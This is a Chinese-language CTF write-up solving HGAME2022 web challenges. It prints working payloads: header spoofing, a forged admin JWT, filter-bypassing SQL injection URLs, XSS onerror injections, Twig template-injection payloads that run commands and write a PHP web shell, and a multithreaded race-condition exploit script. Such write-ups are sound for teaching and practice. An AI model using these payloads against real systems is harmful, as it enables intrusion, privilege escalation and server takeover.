HGAME2022 Web WP

文章目录

    • Week1
      • 蛛蛛...嘿嘿♥我的蛛蛛
      • Tetris plus
      • Fujiwara Tofu Shop
      • easy_auth
    • Week2
      • webpack-engine
      • Pokemon
      • At0m的留言板
    • Week3
      • SecurityCenter
      • Vidar shop demo

Week1

蛛蛛…嘿嘿♥我的蛛蛛

页面内有很多点我试试的按钮,只有一个是真的,能前往下一关,写个脚本跑一下

import requests
from lxml import etree

static_url = 'https://hgame-spider.vidar.club/f90e409178'
url = 'https://hgame-spider.vidar.club/f90e409178'
while True:
    r = requests.get(url)
    page_text = r.text
    tree = etree.HTML(page_text)
    a_list = tree.xpath('//a/@href')
    for a in a_list:
        if 'key' in a:
            url = static_url + a
            print(url)

打开最后一个url,在响应头中找到flagHGAME2022 Web WP_第1张图片

Tetris plus

游戏题(我都玩到3000分了,不给flag…)
f12查看源码,在checking.js中,有一大段的字符串

复制到浏览器控制台即可得到flag

Fujiwara Tofu Shop

知识点是请求头,像是在做脑筋急转弯。

想成为车神,你需要先去一趟秋名山(qiumingshan.net)对应的是Referer头
只有借助AE86才能拿到车神通行证(Hachi-Roku)对应的是User-Agent
86的副驾上应该放一盒树莓(Raspberry)味的曲奇,曲奇的英文是cookie,在burp中可以看到flavor被赋值为Strawberry,在Cookie中改为树莓就OK了
HGAME2022 Web WP_第2张图片
汽油都不加,还想去秋名山?请加满至100 可以看到响应头中有一个Gasoline的字段,值还是0,正好对应,改为100即可;
HGAME2022 Web WP_第3张图片
哪怕成了车神,也得让请求从本地发出来才能拿到 flag ! 测试后发现X-Forwarded-For被过滤了,这里用X-Real-Ip代替

请求数据包:

GET / HTTP/1.1
Host: shop.summ3r.top
Upgrade-Insecure-Requests: 1
User-Agent: Hachi-Roku
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.2.1804431598.1642747911; _gid=GA1.2.456031021.1642747912; __gads=ID=be8cc058554dbdc0-2276b9611cd000ab:T=1642747911:RT=1642747911:S=ALNI_MaQs35WcxJqwVO4UNwM_9mbckGBUw; flavor=Raspberry
Referer: qiumingshan.net
Connection: close
Gasoline: 100
X-Real-Ip: 127.0.0.1

easy_auth

题目中说了管理员是admin,且不需要爆破密码。注册一个用户名为shyshy的账号,登录后抓包,发现http://whatadminisdoingwhat.mjclouds.com/v1/todo/list接口中有一个token的字段,那么这题就是token伪造了。
将token在jwt.io解码HGAME2022 Web WP_第4张图片
将ID改为1,UserName改为admin,就可以去提交了。

请求的数据包:

GET /v1/todo/list HTTP/1.1
Host: whatadminisdoingwhat.mjclouds.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBob25lIjoiIiwiRW1haWwiOiIiLCJleHAiOjE2NDI4ODU2NTMsImlzcyI6Ik1KY2xvdWRzIn0.kTrNctpovamMaipqqrDTDUzc9aSMH_qFcQd6oilC8Sc
Accept: */*
Origin: http://adminisdoingwhat.mjclouds.com
Referer: http://adminisdoingwhat.mjclouds.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Week2

webpack-engine

直接百度,看到一篇文章:webpack带来的安全风险,里面说到webpack如果没有正确配置,就会导致vue源码泄漏,并给出一张浏览器控制台的截图,这题也是同理,f12打开控制台,发现flag存储的文件
HGAME2022 Web WP_第5张图片

YUdkaGJXVjdSREJ1ZEY5bU1ISTVaWFJmTWw5RGJFOXpNMTlUTUhWeVkyVmZiVUJ3ZlE9PQo=

两次base64解码得到flag

hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}

Pokemon

打开url后看到hint:index.php?id=1,那么考的是sql注入。刚开始试了半天没效果,后来发现注入点在报错页面上

http://121.43.141.153:60056/error.php?code=404

fuzz了一下,过滤了or|and|select|=|/**/|空格|from|where|union,但是可以用双写绕过,等于号用like替代。

库名:pokemon

表名:fllllllllaaaaaag

http://121.43.141.153:60056/error.php?code=-404/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,group_concat(table_name)/*/**/*/frofromm/*/**/*/infoorrmation_schema.tables/*/**/*/whwhereere/*/**/*/table_schema/*/**/*/like/*/**/*/database()#

列名:flag

http://121.43.141.153:60056/error.php?code=-404/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,group_concat(column_name)/*/**/*/frofromm/*/**/*/infoorrmation_schema.columns/*/**/*/whwhereere/*/**/*/table_name/*/**/*/like/*/**/*/'fllllllllaaaaaag'#

flag:hgame{C0n9r@tul4tiOn*Y0u$4r3_sq1_M4ST3R#}

http://121.43.141.153:60056/error.php?code=-404/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,group_concat(flag)/*/**/*/frofromm/*/**/*/fllllllllaaaaaag#

At0m的留言板

先看它给的模版网页,里面有js代码定义了两个变量。公众号的主要功能是将用户输入的文本在网站中以留言框的形式展现出来,那么这就说明是可以执行js代码的,试着将所有变量提取到文本区。

<img src=1 onerror="document.getElementsByClassName('content')[0].innerText=Object.keys(window)">


得到所有变量,读取最后的F149_is_Here即可

<img src=1 onerror="document.getElementsByClassName('content')[0].innerText=F149_is_Here">

flag

hgame{Xs5_1s_so_int3Restin9!Var_is_0uT_of_d4te}

Week3

SecurityCenter

点击去百度后,会将url里的内容回显在网页上,试了下{{7*7}},回显49,说明存在模版注入。在源码里发现/vendor/composer/installed.json,用的是symfony框架,最后发现它的模板是Twig。
HGAME2022 Web WP_第6张图片

在亲兄弟的提醒下看到了这篇文章。
使用他的payload

?url={{['id']|map('passthru')}}


执行命令成功,下面写访问即可

?url={{{"$_POST['a']);?>":"/var/www/html/haha.php"}|map("file_put_contents")}}

Vidar shop demo

这题的考点应该是条件竞争吧,登录后购买flag需要10000块钱,但是我们只有9999块钱,差一块钱。点击创建订单,会在订单中出现一个待支付的订单,点击支付,系统会扣除相应的余额,并显示出删除按钮,点击删除按钮可以取消已经购买的订单。
我的做法是用多线程同时去创建flag和徽章的订单,并支付一些徽章的钱,有些徽章的订单在支付后会因为请求过快,而不扣款,然后再删除一些订单,最终余额会超过10000元,就能兑换flag

import requests
from threading import Thread
from time import sleep

create_url = 'http://f2c3c3d986.vidar-shop.mjclouds.com/api/order/create'
pay_url = 'http://f2c3c3d986.vidar-shop.mjclouds.com/api/pay/create'
list_url = 'http://f2c3c3d986.vidar-shop.mjclouds.com/api/order/list'
flag_create_url = 'http://f2c3c3d986.vidar-shop.mjclouds.com/api/pay/create'
list_data = {'uid': 444}
create_data = {'uid': 444, 'pid': 5, 'amount': 1, 'status': 1}
flag_data = {'uid': 444, 'oid': 38289, 'amount': 10000}
header = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36',
    'Authorization': 'bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDQ0NTg5NzIsImlhdCI6MTY0NDM3MjU3MiwidWlkIjo0NDR9.xyFg5gOl3AquBF9Vcs83IKRHsb7Rx_5mq0gJA1LIiKA',
    'Connection': 'keep-alive'
}


# 创建并支付徽章订单
def post_1():
    sess = requests.session()
    # 创建
    create_r = sess.post(create_url, headers=header, json=create_data)
    # 获取订单oid
    list = sess.post(list_url, headers=header, json=list_data)
    oid = list.json()[-1]['id']
    # 支付
    pay_data = {'uid': 444, 'oid': oid, 'amount': 20}
    pay_r = sess.post(pay_url, headers=header, json=pay_data)
    sleep(0.1)


def post_flag():
    sess = requests.session()
    flag_r = sess.post(flag_create_url, headers=header, json=flag_data)
    print(flag_r.text)
    sleep(0.1)


if __name__ == '__main__':
    while True:
        t1 = Thread(target=post_1)
        t1.start()
        t2 = Thread(target=post_flag)
        t2.start()

flag

hgame{851ba5dee7d5afbcacfb1c99f0ea5c5cb88a6f62e1796d4d0949061184d03fa5}

你可能感兴趣的:(CTF,ctf,hgame)